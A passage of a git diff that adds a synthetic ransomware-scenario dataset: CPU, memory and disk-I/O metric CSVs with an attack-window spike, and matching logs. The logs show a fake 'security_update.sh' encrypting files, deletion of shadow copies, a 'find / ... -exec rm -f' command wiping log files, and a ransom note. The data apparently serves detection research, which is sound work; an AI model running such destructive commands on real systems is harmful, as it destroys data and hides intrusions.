'/var/www/data/db_backup.sql': File not found. +Jul 15 17:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 17:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 17:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 17:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 17:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 17:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 17:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 17:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 17:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_5.csv b/mali_dataset/scenario_3/mali_3_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..df683073ecbd9f5a23f1c5215f96f4457138711a --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,13.76,51.99,34.15,0.44,1.31 +2025-07-15T14:30:05Z,15.0,40.57,21.36,0.75,1.52 +2025-07-15T14:30:10Z,11.12,33.08,36.97,0.73,1.15 +2025-07-15T14:30:15Z,14.6,39.81,17.25,0.94,0.66 +2025-07-15T14:30:20Z,18.13,33.03,31.12,0.77,0.82 +2025-07-15T14:30:25Z,12.81,30.98,37.04,0.73,0.86 +2025-07-15T14:30:30Z,15.45,40.08,31.43,0.34,0.88 +2025-07-15T14:30:35Z,16.58,38.66,13.01,0.66,1.36 +2025-07-15T14:30:40Z,13.29,42.45,22.96,0.81,1.34 +2025-07-15T14:30:45Z,20.45,40.05,24.99,0.82,0.92 +2025-07-15T14:30:50Z,15.84,34.54,31.23,1.02,1.62 +2025-07-15T14:30:55Z,12.9,45.11,43.42,0.99,1.19 +2025-07-15T14:31:00Z,18.15,37.24,43.3,0.73,1.21 +2025-07-15T14:31:05Z,17.95,38.31,32.25,0.81,1.84 +2025-07-15T14:31:10Z,13.06,38.96,35.86,0.43,1.14 +2025-07-15T14:31:15Z,13.95,46.77,41.5,0.64,0.81 +2025-07-15T14:31:20Z,17.01,32.67,23.56,1.17,0.81 +2025-07-15T14:31:25Z,15.24,36.73,35.57,0.88,1.31 +2025-07-15T14:31:30Z,17.54,43.92,33.53,0.79,1.25 +2025-07-15T14:31:35Z,17.63,44.68,13.98,0.77,1.58 +2025-07-15T14:31:40Z,15.56,33.35,34.01,0.8,1.04 +2025-07-15T14:31:45Z,18.07,42.13,33.8,0.79,1.6 +2025-07-15T14:31:50Z,17.79,42.77,29.88,0.82,0.74 +2025-07-15T14:31:55Z,14.43,49.41,34.31,0.76,1.14 +2025-07-15T14:32:00Z,10.15,46.91,27.67,0.92,1.24 +2025-07-15T14:32:05Z,17.44,43.26,23.93,0.87,0.94 +2025-07-15T14:32:10Z,14.18,39.74,36.33,0.55,0.91 +2025-07-15T14:32:15Z,14.95,41.58,31.71,0.42,1.17 +2025-07-15T14:32:20Z,9.88,42.96,27.94,0.89,1.32 +2025-07-15T14:32:25Z,17.23,45.9,46.06,0.56,1.66 +2025-07-15T14:32:30Z,93.03,81.62,2513.74,0.22,0.32 +2025-07-15T14:32:35Z,89.13,83.11,2715.83,0.14,0.57 +2025-07-15T14:32:40Z,95.81,89.81,2222.97,0.3,0.27 +2025-07-15T14:32:45Z,97.44,84.99,2325.96,0.1,0.47 +2025-07-15T14:32:50Z,100.02,84.19,2198.4,0.17,0.38 +2025-07-15T14:32:55Z,99.51,84.44,2274.69,0.13,0.27 +2025-07-15T14:33:00Z,92.83,82.01,2387.86,0.41,0.43 +2025-07-15T14:33:05Z,94.51,84.36,2468.87,0.18,0.48 +2025-07-15T14:33:10Z,98.57,75.4,2664.45,0.32,0.24 +2025-07-15T14:33:15Z,96.59,78.22,2252.35,0.35,0.22 +2025-07-15T14:33:20Z,98.11,84.38,2511.55,0.46,0.21 +2025-07-15T14:33:25Z,99.58,92.56,2387.46,0.33,0.46 +2025-07-15T14:33:30Z,94.23,93.36,2684.76,0.15,0.22 +2025-07-15T14:33:35Z,96.91,89.23,2627.29,0.32,0.58 +2025-07-15T14:33:40Z,99.43,79.23,2821.44,0.32,0.44 +2025-07-15T14:33:45Z,94.59,90.85,1933.7,0.42,0.55 +2025-07-15T14:33:50Z,93.24,82.34,3032.08,0.32,0.48 +2025-07-15T14:33:55Z,98.24,81.31,2019.12,0.26,0.29 +2025-07-15T14:34:00Z,92.62,86.65,2237.85,0.2,0.49 +2025-07-15T14:34:05Z,96.53,87.15,3239.46,0.37,0.39 +2025-07-15T14:34:10Z,92.71,84.71,2494.16,0.41,0.31 +2025-07-15T14:34:15Z,96.73,90.32,2140.69,0.27,0.42 +2025-07-15T14:34:20Z,91.15,79.12,2726.06,0.35,0.58 +2025-07-15T14:34:25Z,93.28,73.08,2457.66,0.42,0.23 +2025-07-15T14:34:30Z,90.3,85.38,2927.0,0.22,0.5 +2025-07-15T14:34:35Z,92.36,89.0,2595.06,0.19,0.29 +2025-07-15T14:34:40Z,96.41,90.84,2804.07,0.32,0.37 +2025-07-15T14:34:45Z,98.17,89.68,2961.59,0.33,0.57 +2025-07-15T14:34:50Z,95.96,92.08,2066.66,0.46,0.31 +2025-07-15T14:34:55Z,99.12,86.13,2559.4,0.28,0.31 +2025-07-15T14:35:00Z,95.55,71.17,2439.17,0.15,0.58 +2025-07-15T14:35:05Z,97.38,83.63,2218.36,0.44,0.21 +2025-07-15T14:35:10Z,96.05,78.82,2451.27,0.49,0.44 +2025-07-15T14:35:15Z,88.25,79.29,1975.65,0.5,0.37 +2025-07-15T14:35:20Z,97.55,87.28,2084.25,0.12,0.53 +2025-07-15T14:35:25Z,99.51,93.08,2554.34,0.45,0.24 +2025-07-15T14:35:30Z,99.26,86.53,2168.77,0.5,0.52 +2025-07-15T14:35:35Z,91.54,82.01,2658.52,0.38,0.29 +2025-07-15T14:35:40Z,95.08,86.21,2427.43,0.35,0.25 +2025-07-15T14:35:45Z,93.97,79.24,2628.13,0.38,0.25 +2025-07-15T14:35:50Z,92.4,77.53,2467.04,0.16,0.52 +2025-07-15T14:35:55Z,97.73,77.91,2319.13,0.18,0.24 +2025-07-15T14:36:00Z,96.19,81.26,2321.6,0.12,0.51 +2025-07-15T14:36:05Z,92.73,85.39,2458.2,0.35,0.25 +2025-07-15T14:36:10Z,97.59,84.33,2850.55,0.45,0.42 +2025-07-15T14:36:15Z,19.12,41.0,25.53,0.94,0.9 +2025-07-15T14:36:20Z,12.03,44.63,33.43,0.99,0.99 +2025-07-15T14:36:25Z,16.58,43.4,30.47,0.86,1.04 +2025-07-15T14:36:30Z,17.23,43.59,13.97,0.66,1.18 +2025-07-15T14:36:35Z,17.53,42.69,31.13,0.79,1.45 +2025-07-15T14:36:40Z,14.36,34.5,32.41,0.34,1.46 +2025-07-15T14:36:45Z,16.88,31.14,30.17,1.22,1.08 +2025-07-15T14:36:50Z,11.5,40.82,16.64,0.38,0.91 +2025-07-15T14:36:55Z,13.86,40.96,33.52,0.98,0.84 +2025-07-15T14:37:00Z,7.77,48.54,34.1,0.59,1.09 +2025-07-15T14:37:05Z,19.73,46.21,19.54,0.9,1.71 +2025-07-15T14:37:10Z,15.92,40.33,33.99,0.73,1.24 +2025-07-15T14:37:15Z,15.65,41.71,29.28,0.76,0.94 +2025-07-15T14:37:20Z,9.51,41.54,28.29,0.58,1.09 +2025-07-15T14:37:25Z,19.43,42.43,38.9,0.6,1.23 diff --git a/mali_dataset/scenario_3/mali_3_5.log b/mali_dataset/scenario_3/mali_3_5.log new file mode 100644 index 0000000000000000000000000000000000000000..c8edd3dbef6559da03ff49eb254c4a604ac309c7 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_5.log @@ -0,0 +1,19 @@ +Jul 15 14:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 14:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 14:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 14:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 14:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 14:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 14:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 14:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 14:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 14:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 14:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 14:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 14:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 14:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 14:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 14:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 14:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 14:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_6.csv b/mali_dataset/scenario_3/mali_3_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..22486f87c25e9fdd405b20dd1bb19071dc1938c8 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T15:30:00Z,17.48,38.49,40.01,1.12,1.12 +2025-07-15T15:30:05Z,19.71,39.44,21.26,0.66,0.54 +2025-07-15T15:30:10Z,15.36,44.71,33.22,0.76,1.11 +2025-07-15T15:30:15Z,16.11,35.67,25.72,1.07,1.64 +2025-07-15T15:30:20Z,9.28,34.56,31.03,0.67,1.11 +2025-07-15T15:30:25Z,17.02,40.36,26.23,0.43,1.21 +2025-07-15T15:30:30Z,14.87,34.81,19.16,0.92,1.17 +2025-07-15T15:30:35Z,15.2,39.81,13.49,0.82,0.88 +2025-07-15T15:30:40Z,8.21,41.63,34.34,0.74,0.82 +2025-07-15T15:30:45Z,15.57,38.16,21.73,0.66,1.54 +2025-07-15T15:30:50Z,16.76,35.37,29.64,0.69,1.19 +2025-07-15T15:30:55Z,9.83,39.55,36.26,0.64,1.69 +2025-07-15T15:31:00Z,13.64,32.82,23.82,0.95,1.15 +2025-07-15T15:31:05Z,15.84,33.1,34.58,0.97,1.32 +2025-07-15T15:31:10Z,19.07,34.24,25.33,0.94,1.2 +2025-07-15T15:31:15Z,16.87,42.0,28.17,0.74,1.33 +2025-07-15T15:31:20Z,23.63,34.45,47.84,0.91,1.33 +2025-07-15T15:31:25Z,14.99,29.07,28.59,0.7,1.16 +2025-07-15T15:31:30Z,11.55,34.25,16.14,0.83,1.33 +2025-07-15T15:31:35Z,16.44,40.68,34.02,1.08,1.5 +2025-07-15T15:31:40Z,13.11,33.6,27.07,0.78,0.73 +2025-07-15T15:31:45Z,9.71,34.16,30.89,0.81,1.26 +2025-07-15T15:31:50Z,15.55,37.67,38.24,0.74,1.11 +2025-07-15T15:31:55Z,17.02,28.22,19.15,1.16,1.41 +2025-07-15T15:32:00Z,17.75,42.05,41.41,1.05,0.66 +2025-07-15T15:32:05Z,13.44,41.31,23.2,1.05,0.86 +2025-07-15T15:32:10Z,9.79,40.66,30.21,0.9,1.17 +2025-07-15T15:32:15Z,17.02,42.33,32.73,0.85,0.84 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+2025-07-15T15:35:30Z,95.08,81.86,2185.46,0.49,0.52 +2025-07-15T15:35:35Z,95.47,79.94,2868.29,0.36,0.38 +2025-07-15T15:35:40Z,93.23,90.3,2660.64,0.39,0.52 +2025-07-15T15:35:45Z,97.12,82.87,2836.47,0.13,0.41 +2025-07-15T15:35:50Z,95.59,84.11,2184.49,0.17,0.39 +2025-07-15T15:35:55Z,96.03,86.08,2741.95,0.2,0.27 +2025-07-15T15:36:00Z,90.6,88.26,2383.51,0.38,0.4 +2025-07-15T15:36:05Z,95.91,85.0,2373.4,0.47,0.39 +2025-07-15T15:36:10Z,94.4,84.05,2596.7,0.23,0.52 +2025-07-15T15:36:15Z,19.15,45.25,31.61,0.57,1.3 +2025-07-15T15:36:20Z,11.48,37.32,17.44,1.03,1.54 +2025-07-15T15:36:25Z,13.39,32.99,28.4,0.88,1.62 +2025-07-15T15:36:30Z,11.85,39.22,32.97,0.83,1.56 +2025-07-15T15:36:35Z,14.94,41.34,26.71,0.71,1.58 +2025-07-15T15:36:40Z,14.87,32.54,15.84,0.97,1.1 +2025-07-15T15:36:45Z,12.42,48.08,31.66,0.84,1.34 +2025-07-15T15:36:50Z,12.19,38.13,35.94,0.69,1.44 +2025-07-15T15:36:55Z,14.82,38.42,42.66,0.98,1.78 +2025-07-15T15:37:00Z,15.15,41.92,38.95,0.84,0.91 +2025-07-15T15:37:05Z,13.6,44.62,38.55,0.75,1.42 +2025-07-15T15:37:10Z,10.88,33.72,28.92,0.86,1.24 +2025-07-15T15:37:15Z,16.75,45.95,33.05,1.07,1.08 +2025-07-15T15:37:20Z,15.67,40.73,37.68,0.76,0.22 +2025-07-15T15:37:25Z,10.81,48.91,33.2,0.49,1.43 diff --git a/mali_dataset/scenario_3/mali_3_6.log b/mali_dataset/scenario_3/mali_3_6.log new file mode 100644 index 0000000000000000000000000000000000000000..99ad96399a51ce23e056cd90ea1a17c96fc6c581 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_6.log @@ -0,0 +1,19 @@ +Jul 15 15:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 15:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 15:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 15:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 15:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 15:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 15:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 15:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 15:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 15:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 15:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 15:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 15:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 15:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 15:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 15:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 15:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 15:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 15:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_7.csv b/mali_dataset/scenario_3/mali_3_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..1a8d23b6bf511dad9ef28c6f6632a6b2ea262c22 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T16:30:00Z,13.5,51.15,11.02,0.53,1.12 +2025-07-15T16:30:05Z,10.57,38.91,40.27,0.82,0.8 +2025-07-15T16:30:10Z,20.72,47.32,27.67,0.59,0.49 +2025-07-15T16:30:15Z,15.85,39.88,31.23,0.99,1.03 +2025-07-15T16:30:20Z,11.21,41.5,23.55,1.0,1.47 +2025-07-15T16:30:25Z,15.86,45.2,24.57,1.05,1.14 +2025-07-15T16:30:30Z,16.09,40.52,39.07,0.57,1.22 +2025-07-15T16:30:35Z,16.39,41.9,32.48,0.55,1.76 +2025-07-15T16:30:40Z,13.97,42.98,34.02,1.14,1.73 +2025-07-15T16:30:45Z,10.95,38.75,47.78,0.76,0.98 +2025-07-15T16:30:50Z,13.43,34.47,26.37,0.75,1.16 +2025-07-15T16:30:55Z,21.9,36.72,37.18,0.55,1.32 +2025-07-15T16:31:00Z,12.99,37.33,26.53,0.83,1.17 +2025-07-15T16:31:05Z,17.51,40.5,23.48,0.81,0.89 +2025-07-15T16:31:10Z,10.47,42.28,29.01,0.95,1.55 +2025-07-15T16:31:15Z,12.35,37.56,24.48,0.61,1.09 +2025-07-15T16:31:20Z,18.55,42.91,42.92,1.14,0.79 +2025-07-15T16:31:25Z,14.35,40.48,16.68,1.15,0.96 +2025-07-15T16:31:30Z,12.74,32.11,36.56,1.06,1.54 +2025-07-15T16:31:35Z,16.15,37.79,24.05,1.15,1.02 +2025-07-15T16:31:40Z,9.32,44.65,29.71,0.79,1.12 +2025-07-15T16:31:45Z,17.07,42.03,29.38,0.81,1.26 +2025-07-15T16:31:50Z,18.75,43.99,32.86,0.55,0.95 +2025-07-15T16:31:55Z,22.3,40.37,40.75,0.43,1.09 +2025-07-15T16:32:00Z,18.05,38.18,16.14,1.13,1.5 +2025-07-15T16:32:05Z,17.36,35.27,20.27,0.53,1.48 +2025-07-15T16:32:10Z,17.13,32.99,28.82,0.99,1.35 +2025-07-15T16:32:15Z,14.02,41.48,30.81,0.7,1.09 +2025-07-15T16:32:20Z,13.58,40.49,36.24,0.48,1.03 +2025-07-15T16:32:25Z,17.0,36.5,33.89,0.63,1.81 +2025-07-15T16:32:30Z,97.41,93.68,2632.93,0.16,0.46 +2025-07-15T16:32:35Z,93.85,84.23,2190.08,0.2,0.48 +2025-07-15T16:32:40Z,95.42,87.11,2454.83,0.39,0.32 +2025-07-15T16:32:45Z,91.68,85.62,2730.16,0.37,0.24 +2025-07-15T16:32:50Z,93.76,84.17,2909.77,0.26,0.35 +2025-07-15T16:32:55Z,96.78,94.55,2325.03,0.26,0.59 +2025-07-15T16:33:00Z,99.57,80.55,2620.24,0.31,0.34 +2025-07-15T16:33:05Z,93.9,76.86,2381.45,0.21,0.56 +2025-07-15T16:33:10Z,95.7,72.56,2207.2,0.13,0.4 +2025-07-15T16:33:15Z,96.07,85.13,2674.34,0.46,0.33 +2025-07-15T16:33:20Z,101.4,84.09,1671.9,0.21,0.57 +2025-07-15T16:33:25Z,89.15,77.38,3192.05,0.45,0.39 +2025-07-15T16:33:30Z,97.68,89.47,2114.82,0.25,0.32 +2025-07-15T16:33:35Z,94.61,92.14,2113.97,0.31,0.55 +2025-07-15T16:33:40Z,96.35,82.3,2469.09,0.3,0.37 +2025-07-15T16:33:45Z,101.13,78.3,1965.7,0.27,0.42 +2025-07-15T16:33:50Z,94.1,70.74,2609.11,0.21,0.23 +2025-07-15T16:33:55Z,100.12,84.86,2720.7,0.29,0.54 +2025-07-15T16:34:00Z,95.41,90.67,2741.46,0.14,0.5 +2025-07-15T16:34:05Z,95.98,82.9,2448.08,0.29,0.52 +2025-07-15T16:34:10Z,95.56,84.82,2471.62,0.39,0.52 +2025-07-15T16:34:15Z,94.09,95.23,2499.4,0.16,0.22 +2025-07-15T16:34:20Z,96.01,73.71,2549.55,0.28,0.44 +2025-07-15T16:34:25Z,98.24,73.25,2947.22,0.44,0.33 +2025-07-15T16:34:30Z,93.4,78.55,1855.0,0.46,0.37 +2025-07-15T16:34:35Z,99.06,91.59,2436.66,0.48,0.3 +2025-07-15T16:34:40Z,93.29,84.83,2675.02,0.4,0.55 +2025-07-15T16:34:45Z,92.45,85.1,2374.13,0.25,0.49 +2025-07-15T16:34:50Z,92.34,85.49,2593.57,0.37,0.21 +2025-07-15T16:34:55Z,90.08,80.27,1995.28,0.27,0.51 +2025-07-15T16:35:00Z,97.68,75.87,2587.7,0.38,0.39 +2025-07-15T16:35:05Z,93.36,80.56,2580.84,0.44,0.44 +2025-07-15T16:35:10Z,94.6,81.81,2564.64,0.18,0.54 +2025-07-15T16:35:15Z,99.32,90.35,3088.46,0.14,0.26 +2025-07-15T16:35:20Z,93.35,89.34,2693.75,0.4,0.55 +2025-07-15T16:35:25Z,87.18,82.11,2568.75,0.39,0.5 +2025-07-15T16:35:30Z,97.55,79.24,2387.81,0.22,0.5 +2025-07-15T16:35:35Z,94.13,79.39,2594.91,0.13,0.49 +2025-07-15T16:35:40Z,93.04,86.47,2349.51,0.35,0.36 +2025-07-15T16:35:45Z,95.19,85.9,2517.1,0.11,0.35 +2025-07-15T16:35:50Z,101.61,84.47,2466.09,0.46,0.47 +2025-07-15T16:35:55Z,98.38,88.34,2399.22,0.38,0.44 +2025-07-15T16:36:00Z,95.74,79.91,2399.0,0.14,0.43 +2025-07-15T16:36:05Z,92.32,72.78,2116.15,0.15,0.35 +2025-07-15T16:36:10Z,93.78,82.55,2293.03,0.43,0.56 +2025-07-15T16:36:15Z,11.01,32.88,22.35,0.83,1.22 +2025-07-15T16:36:20Z,20.23,42.95,25.8,0.94,1.3 +2025-07-15T16:36:25Z,16.58,42.7,29.19,0.82,0.53 +2025-07-15T16:36:30Z,15.5,42.58,41.88,0.34,1.27 +2025-07-15T16:36:35Z,7.42,34.98,31.61,0.89,1.47 +2025-07-15T16:36:40Z,11.8,34.11,35.38,0.94,1.4 +2025-07-15T16:36:45Z,12.39,31.68,38.58,0.48,1.36 +2025-07-15T16:36:50Z,12.5,38.05,50.86,0.8,0.84 +2025-07-15T16:36:55Z,19.54,35.08,25.59,1.13,1.04 +2025-07-15T16:37:00Z,15.32,37.05,43.24,0.76,1.34 +2025-07-15T16:37:05Z,16.77,45.78,47.03,0.94,1.1 +2025-07-15T16:37:10Z,18.9,39.7,33.92,0.83,1.03 +2025-07-15T16:37:15Z,18.08,40.64,39.77,0.64,0.88 +2025-07-15T16:37:20Z,14.59,40.81,20.33,1.06,0.97 +2025-07-15T16:37:25Z,18.56,40.46,41.14,0.44,1.47 diff --git a/mali_dataset/scenario_3/mali_3_7.log b/mali_dataset/scenario_3/mali_3_7.log new file mode 100644 index 0000000000000000000000000000000000000000..d2e22b20b31aebd66a5b5583392af71387399338 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_7.log @@ -0,0 +1,19 @@ +Jul 15 16:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 16:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 16:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 16:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 16:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 16:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 16:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 16:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 16:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 16:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 16:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 16:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 16:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 16:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 16:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 16:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 16:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 16:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 16:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_8.csv b/mali_dataset/scenario_3/mali_3_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..4ccffdd39416714fad4279133c3fbeb5f2ade2b9 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T17:30:00Z,14.96,42.13,33.33,0.81,0.84 +2025-07-15T17:30:05Z,10.96,43.13,27.99,0.91,1.25 +2025-07-15T17:30:10Z,15.99,39.78,30.41,0.67,1.25 +2025-07-15T17:30:15Z,15.31,34.93,34.68,1.14,1.1 +2025-07-15T17:30:20Z,14.62,41.18,32.71,0.81,1.58 +2025-07-15T17:30:25Z,12.38,40.01,28.49,0.86,0.72 +2025-07-15T17:30:30Z,14.77,43.56,31.89,0.59,1.39 +2025-07-15T17:30:35Z,14.18,46.12,35.21,0.63,0.95 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+2025-07-15T17:35:30Z,93.99,81.48,2911.25,0.3,0.58 +2025-07-15T17:35:35Z,99.03,86.03,2568.67,0.33,0.46 +2025-07-15T17:35:40Z,93.81,89.77,2261.48,0.48,0.41 +2025-07-15T17:35:45Z,94.46,83.41,1879.22,0.43,0.28 +2025-07-15T17:35:50Z,95.77,85.7,2924.19,0.26,0.31 +2025-07-15T17:35:55Z,99.23,87.48,2497.11,0.3,0.54 +2025-07-15T17:36:00Z,97.9,78.95,3112.64,0.27,0.23 +2025-07-15T17:36:05Z,98.94,84.89,2199.7,0.42,0.29 +2025-07-15T17:36:10Z,98.58,83.66,2657.81,0.29,0.38 +2025-07-15T17:36:15Z,19.69,33.05,21.81,0.93,1.0 +2025-07-15T17:36:20Z,16.18,38.58,21.92,1.04,1.47 +2025-07-15T17:36:25Z,15.47,41.78,43.22,0.86,0.82 +2025-07-15T17:36:30Z,14.02,34.11,45.14,0.88,1.32 +2025-07-15T17:36:35Z,14.86,44.35,35.47,1.1,1.23 +2025-07-15T17:36:40Z,14.56,29.6,22.71,0.9,1.48 +2025-07-15T17:36:45Z,10.56,37.52,43.42,0.63,0.73 +2025-07-15T17:36:50Z,13.7,36.2,39.26,0.79,1.51 +2025-07-15T17:36:55Z,20.68,37.72,32.58,0.98,1.42 +2025-07-15T17:37:00Z,17.61,41.61,33.15,0.96,1.47 +2025-07-15T17:37:05Z,13.28,37.94,34.97,0.85,1.62 +2025-07-15T17:37:10Z,13.79,38.66,26.55,0.86,0.79 +2025-07-15T17:37:15Z,12.41,41.68,31.99,0.5,1.28 +2025-07-15T17:37:20Z,17.86,42.06,7.62,0.83,1.16 +2025-07-15T17:37:25Z,13.92,34.24,19.29,0.47,1.3 diff --git a/mali_dataset/scenario_3/mali_3_8.log b/mali_dataset/scenario_3/mali_3_8.log new file mode 100644 index 0000000000000000000000000000000000000000..66bb050d15b63f8ea043dc74afe9c07db8bd908a --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_8.log @@ -0,0 +1,19 @@ +Jul 15 17:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 17:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 17:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 17:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 17:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 17:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 17:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 17:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 17:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 17:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 17:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 17:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 17:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" 